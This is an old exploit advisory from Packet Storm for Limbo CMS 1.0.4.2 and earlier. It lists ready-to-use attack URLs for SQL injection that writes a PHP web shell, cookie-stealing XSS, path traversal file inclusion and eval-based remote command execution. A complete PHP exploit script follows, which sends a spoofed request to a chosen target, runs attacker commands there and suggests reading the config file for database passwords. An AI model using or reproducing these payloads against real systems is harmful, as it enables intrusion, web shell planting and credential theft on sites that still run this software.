limbo1042_xpl.txt

2005-12-15T00:00:00
ID PACKETSTORM:42312
Type packetstorm
Reporter rgod
Modified 2005-12-15T00:00:00

Description

                                        
                                            `LIMBO CMS <= v1.0.4.2 _SERVER[] array overwrite / blind SQL injection /  
cross site scripting / local file inclusion / path disclosure / remote code/commands execution  
  
software:  
site: http://www.limbo-cms.com/  
description:  
"Putting it in short Limbo is a Content Management System, which allows you to build and manage  
small dynamic PHP websites very easily. Limbo was inspired from Mambo and offers same overall  
functionality and usage. Main aim of limbo is to be small, secure, fast and be capable of running  
off simple text files."  
  
  
  
i) if register_globals is off you can overwrite _SERVER[] & _SERVER[REMOTE_ADDR] value  
this value is not properly sanitized before to be used in a sql query, so  
  
if register_globals off and Limbo uses Mysql to store data  
(there is an installation option to store data in files...)  
you can try blind sql commands injection, poc:  
  
http://[target]/[path]/index.php?_SERVER[]&_SERVER[REMOTE_ADDR]=999'UNION%20SELECT%20null,'<?php%20system($_G','ET[cmd]);?>'%20INTO%20DUMPFILE%20'[full_application_path]shell.php'%20FROM%20lm_simple_stats/*&option=weblinks&Itemid=999/*  
  
query becomes:  
  
SELECT id,ip,date FROM lm_simple_stats WHERE id>1 AND ip = '999'UNION SELECT null,'<?php system($_G','ET[cmd]);?>' INTO DUMPFILE '[full_application_path]shell.php' FROM lm_simple_stats/*'  
  
(**** note: this works regardless of magic_quotes_gpc settings,because in includes/initglobal.php, we have:  
...  
/* handle the magic quotes problem */  
function strip_magic_quotes($arr)  
{  
foreach ($arr as $k => $v)  
{  
if (is_array($v))  
{ $arr[$k] = strip_magic_quotes($v); }  
else  
{ $arr[$k] = stripslashes($v); }  
}  
  
return $arr;  
}  
  
if (get_magic_quotes_gpc())  
{  
if (!empty($_GET)) { $_GET = strip_magic_quotes($_GET); }  
if (!empty($_POST)) { $_POST = strip_magic_quotes($_POST); }  
}  
... *******)  
  
in new created shell.php we have:  
  
0<?php system($_GET[cmd]);?>  
  
so you can launch operating systems commands on target:  
  
http://[target]/[path]/shell.php?cmd=cat%20/etc/passwd  
  
  
  
ii)  
also you can disclose full application path:  
  
http://[target]/[path_to_limbo]/admin/classes/minixml/classes/doc.inc.php  
http://[target]/[path_to_limbo]/admin/classes/minixml/classes/element.inc.php  
http://[target]/[path_to_limbo]/admin/classes/minixml/classes/node.inc.php  
  
  
  
iii) xss:  
if ip address is showned at screen by simple stats module:  
http://[target]/[path]/?_SERVER[]=&_SERVER[REMOTE_ADDR]=<script>alert(document.cookie)</script>  
  
  
  
  
iv) you can include an arbitrary php file from local resources:  
http://[target]/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script  
  
  
  
v) combinating i) & iv) you can execute operating systems commands by a single url, poc:  
  
http://[target]/[path_to_limbo]/index2.php?cmd=dir&_SERVER[]=&_SERVER[REMOTE_ADDR]='.system($_GET[cmd]).die('').'&option=wrapper&module[module]=1  
  
explaination:  
some way, we are including classes/adodbt/read_table.php, where at line 136-140 we have:  
  
...  
if (strlen ($searchstr) > 0) { // run search string if exist  
  
eval($searchstr);  
if ($f) { $rs[$i++] = $tmp; }  
}  
...  
  
input passed to eval() becomes:  
  
if ($id > 1 && $ip == ''.system($_GET[cmd].die('').'' ) { $f = true; } else { $f = false; }  
  
  
this is my proof of concept exploit for v):  
  
  
<?php  
# ---limbo_1042_eval_xpl.php 16.03 14/12/2005 #  
# #  
# Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] overwrite/ remote cmmnds xctn #  
# coded by rgod #  
# site: http://rgod.altervista.org #  
# #  
# -> this works wtih register_globals off & regardless of magic_quotes_gpc #  
# settings #  
# usage: launch from Apache, fill in requested fields, then go! #  
# #  
# Sun-Tzu: "Humble words and increased preparations are signs that the enemy #  
# is about to advance. Violent language and driving forward as if to the #  
# attack are signs that he will retreat. #  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout", 5);  
ob_implicit_flush (1);  
  
echo'<html><head><title>Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn  
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">  
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:  
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img  
{background-color: #FFFFFF !important} input {background-color: #303030  
!important} option { background-color: #303030 !important} textarea  
{background-color: #303030 !important} input {color: #1CB081 !important} option  
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox  
{background-color: #303030 !important} select {font-weight: normal; color:  
#1CB081; background-color: #303030;} body {font-size: 8pt !important;  
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:  
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em  
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em  
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em  
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:  
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited  
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;  
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;  
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">  
Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn</p><p class="Stile6"> a  
script by rgod at <a href="http://rgod.altervista.org"target="_blank">  
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form  
name="form1" method="post" action="'.strip_tags($_SERVER[PHP_SELF]).'"><p><input  
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)  
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:  
/limbo/ or just / ) </span></p><p><input type="text" name="command"> <span  
class="Stile5"> * specify a command ("cat config.php" to see database username &  
password)</span></p><p><input type="text" name="port"> <span class="Stile5">  
specify a port other than 80 ( default value ) </span></p> <p> <input  
type="text" name="proxy"> <span class="Stile5"> send exploit through an  
HTTP proxy(ip:port)</span></p><p><input type="submit" name="Submit" value="go!">  
</p></form></td></tr></table></body></html>';  
  
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));  
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td>  </td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".$headeri[$li+$ki]."</td>";  
}  
$ki=$ki+16;  
echo "</tr><tr>";  
}  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";}  
$ii++;  
$ji++;  
}  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp&nbsp</td>";  
}  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".$headeri[$li]."</td>";  
}  
echo "</tr></table>";  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load  
//next function to send packets  
{  
global $proxy, $host, $port, $packet, $html, $proxy_regex;  
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
if ($socket < 0) {  
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";  
}  
else  
{ $c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
echo "OK.<br>";  
echo "Attempting to connect to ".$host." on port ".$port."...<br>";  
if ($proxy=='')  
{  
$result = socket_connect($socket, $host, $port);  
}  
else  
{  
  
$parts =explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$result = socket_connect($socket, $parts[0],$parts[1]);  
}  
if ($result < 0) {  
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";  
}  
else  
{  
echo "OK.<br><br>";  
$html= '';  
socket_write($socket, $packet, strlen($packet));  
echo "Reading response:<br>";  
while ($out= socket_read($socket, 2048)) {$html.=$out;}  
echo nl2br(htmlentities($html));  
echo "Closing socket...";  
socket_close($socket);  
  
}  
}  
}  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='')  
{$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) { echo 'No response from '.htmlentities($host);  
die; }  
}  
else  
{  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
}  
$parts=explode(':',$proxy);  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) { echo 'No response from proxy...';  
die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='')  
{  
  
$html='';  
while (!feof($ock))  
{  
$html.=fgets($ock);  
}  
}  
else  
{  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))  
{  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
echo nl2br(htmlentities($html));  
}  
  
$host=$_POST[host];  
$path=$_POST[path];  
$command=$_POST[command];  
$port=$_POST[port];  
$proxy=$_POST[proxy];  
  
if (($host<>'') and ($path<>'') and ($command<>''))  
{  
$port=intval(trim($port));  
if ($port=='') {$port=80;}  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
$host=str_replace("\r\n","",$host);  
$path=str_replace("\r\n","",$path);  
# STEP X -> one and unique...  
# we overwrite ip address, include classes/adodbt/read_table.php and pass commands to an eval()  
$SHELL="'.ini_set(\"max_execution_time\",0).system(\$_GET[cmd]).die('HiMaster!').'";  
$SHELL=urlencode($SHELL);  
$packet="GET ".$p."index2.php?cmd=".urlencode($command)."&_SERVER[]=&_SERVER[REMOTE_ADDR]=";  
$packet.=$SHELL;  
$packet.="&option=wrapper&module[module]=1 HTTP/1.1\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
show($packet);  
sendpacketii($packet);  
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}  
else {echo "Exploit failed...";}  
}  
else  
{echo "Fill * required fields, optionally specify a proxy...";}  
?>  
  
rgod  
site: http://rgod.altervista.org  
mail: retrogod at aliceposta it  
original advisory: http://rgod.altervista.org/limbo1042_xpl.html  
  
  
`